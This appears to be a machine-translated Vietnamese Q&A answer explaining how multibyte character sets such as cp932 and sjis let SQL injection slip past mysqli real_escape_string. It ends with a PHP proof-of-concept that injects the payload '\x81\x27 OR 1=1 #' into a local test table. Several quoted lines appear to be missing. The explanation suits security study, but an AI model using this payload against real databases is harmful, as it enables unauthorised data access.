Quỷ dữ đang ở trong chi tiết ... hãy bắt đầu với cách trả lời câu hỏi như thế nào mô tả danh sách các bộ ký tự dễ bị tấn công:
Điều này cung cấp cho chúng tôi một số ngữ cảnh - 0xbf5c
được sử dụng làm ví dụ cho gbk
, không phải là ký tự chung để sử dụng cho tất cả 5 bộ ký tự.
Điều này xảy ra là cùng một chuỗi byte cũng là một ký tự hợp lệ trong big5
và gb2312
.
Tại thời điểm này, câu hỏi của bạn trở nên dễ dàng như sau:
Công bằng mà nói, hầu hết các tìm kiếm trên google mà tôi đã thử cho các bộ ký tự này không cho bất kỳ kết quả hữu ích nào. Nhưng tôi đã tìm thấy tệp CP932.TXT này
, trong đó nếu bạn tìm kiếm '5c '
(với khoảng trống ở đó), bạn sẽ chuyển đến dòng này:
Và chúng ta có một người chiến thắng. :)
Một số tài liệu Oracle
xác nhận rằng 0x815c
là cùng một ký tự cho cả cp932
và sjis
và PHP cũng nhận ra nó:
php > var_dump(mb_strlen("\x81\x5c", "cp932"), mb_strlen("\x81\x5c", "sjis"));
int(1)
int(1)
Đây là một tập lệnh PoC cho cuộc tấn công:
<?php
$username = 'username';
$password = 'password';
$mysqli = new mysqli('localhost', $username, $password);
foreach (array('cp932', 'sjis') as $charset)
{
$mysqli->query("SET NAMES {$charset}");
$mysqli->query("CREATE DATABASE {$charset}_db CHARACTER SET {$charset}");
$mysqli->query("USE {$charset}_db");
$mysqli->query("CREATE TABLE foo (bar VARCHAR(16) NOT NULL)");
$mysqli->query("INSERT INTO foo (bar) VALUES ('baz'), ('qux')");
$input = "\x81\x27 OR 1=1 #";
$input = $mysqli->real_escape_string($input);
$query = "SELECT * FROM foo WHERE bar = '{$input}' LIMIT 1";
$result = $mysqli->query($query);
if ($result->num_rows > 1)
{
echo "{$charset} exploit successful!\n";
}
$mysqli->query("DROP DATABASE {$charset}_db");
}